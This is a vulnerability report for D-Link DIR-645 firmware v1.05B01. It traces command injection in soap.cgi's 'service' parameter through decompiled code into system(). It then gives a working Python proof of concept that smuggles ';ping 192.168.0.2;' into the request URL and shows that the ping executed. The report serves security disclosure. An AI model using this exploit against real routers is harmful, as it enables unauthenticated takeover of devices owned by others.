

# DIR-645-soapcgi

**Vendor:** D-Link

**Firmware version:** DIR645A1\_FW105B01

**Exploit Author:** Lexpl0it

**Vendor Homepage:** <https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-645>

## Detailed description

In the `soapcgi_main` function, `v3` directly obtains the request URL with parameters. Through the sequence `v3->v9->v10->v14`, it is ultimately concatenated within the `snprintf` function and passed to `system` for execution, resulting in arbitrary command execution.

```
1 int soapcgi_main()
2 {
3     int v0; // $s0
4     __off_t v1; // $s6
5     char *v2; // $s0
6     char *v3; // $s1
7     char *v4; // $s4
8     char *v5; // $s5
9     int v6; // $a0
10    char *v7; // $a1
11    const char *v8; // $a2
12    char *v9; // $v0
13    char *v10; // $s3
14    char *v11; // $a0
15    const char *v12; // $s4
16    char *v13; // $v0
17    __pid_t v14; // $v0
18    char *v15; // $v0
19    const char *v16; // $s2
20    __pid_t v17; // $v0
21    const char *v18; // $s1
22    const char *v19; // $s5
23    __pid_t v20; // $v0
24    FILE *v21; // $s0
25    __pid_t v22; // $v0
26    __pid_t v23; // $v0
27
28    v0 = 0;
29    v1 = sub_40D944();
30    if ( v1 >= 0 )
31    {
32        v2 = getenv("CONTENT_TYPE");
33        v3 = getenv("REQUEST_URI");
34        v4 = getenv("HTTP_SOAPACTION");
35        v5 = getenv("REQUEST_METHOD");
36        if ( v2 && !strncasecmp(v2, "text/xml", 8u) )
37        {
```

```

27
28 v0 = 0;
29 v1 = sub_40D944();
30 if ( v1 >= 0 )
31 {
32     v2 = getenv("CONTENT_TYPE");
33     v3 = getenv("REQUEST_URI");
34     v4 = getenv("HTTP_SOAPACTION");
35     v5 = getenv("REQUEST_METHOD");
36     if ( v2 && !strncasecmp(v2, "text/xml", 8u) )
37     {
38         v0 = -1;
39         if ( !v3 || !v4 )
40             goto LABEL_22;
41         v9 = strchr(v3, 63);
42         v10 = v9;
43         if ( !v9 )
44             goto LABEL_21;
45         v0 = -1;
46         if ( strncmp(v9, "?service=", 9u) )
47         {
48 LABEL_22:
49             sub_40DA64(v1);
50             return v0;
51         }

```

```

69     sprintf(byte_433860, "%s/pid%d", "/runtime/services/upnp", v14);
70     cgibin_parse_request(&sub_40D7FC, 0, 0x10000);
71     v15 = getenv("SERVER_ID");
72     v16 = (const char *)dword_434FA0;
73     v18 = v15;
74     v17 = getpid();
75     v19 = v10 + 9;
76     sprintf(
77         byte_434BA0,
78         "%s/ACTION.%s.php\nACTION_NODEBASE=%s\nINF_UID=%s\nSERVICE_TYPE=%s\nACTION_NAME=%s\nSHELL_FILE=%s/%s_%d.sh",
79         "/htdocs/upnp",
80         v10 + 9,
81         byte_433860,
82         v18,
83         v12,
84         v16,
85         "/var/run",
86         v10 + 9,
87         v17);
88     if ( !xmldbc_ephp_wb(0, 0, byte_434BA0, byte_433BA0, 4096) )
89     {
90         if ( !cgibin_fill_http_content_len(byte_433BA0) )
91             printf("%s", byte_433BA0);
92         v20 = getpid();
93         sprintf(byte_434BA0, "%s/%s_%d.sh", "/var/run", v19, v20);
94         v21 = fopen(byte_434BA0, "a+");
95         if ( v21 )
96         {
97             v22 = getpid();
98             fprintf(v21, "rm -f %s/%s_%d.sh", "/var/run", v19, v22);
99             fclose(v21);
100             v23 = getpid();
101             sprintf(byte_434BA0, "sh %s/%s_%d.sh > /dev/console &", "/var/run", v19, v23);
102             system(byte_434BA0);

```

## POC

```

from socket import *
from os import *
from time import *

```


```

request = b"POST /soap.cgi?service=;ping 192.168.0.2; HTTP/
1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"

```

```
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 100\r\n"
request += b"SOAPAction: L#eo\r\n\r\n"

s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
```



```
root@leo-virtual-machine:/home/leo/exp# cp /Firmware/Firmware/ping_
root@leo-virtual-machine:/home/leo/exp# python exp_645.py
root@leo-virtual-machine:/home/leo/exp#
```

```
receive 192.168.0.1 ping request, ID: 19978, sid: 0
```

## Additional Notes

We have noted that in 2013 CVE-2013-7471 previously identified a similar issue in versions prior to DIR-645 v1.04b11. This report is based on the new version v1.05b01.



## DIR-645 Firmware Release Notes

**Firmware:** FW v1.05B01

**Hardware:** Rev. Ax

**Date:** 2015/06/23

### Problems Resolved:

Closed a publicly disclosed potential vulnerability.

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## Statement

I confirm that the information in this report is true and accurate, and it is intended solely for security research and vulnerability remediation purposes, not for malicious use.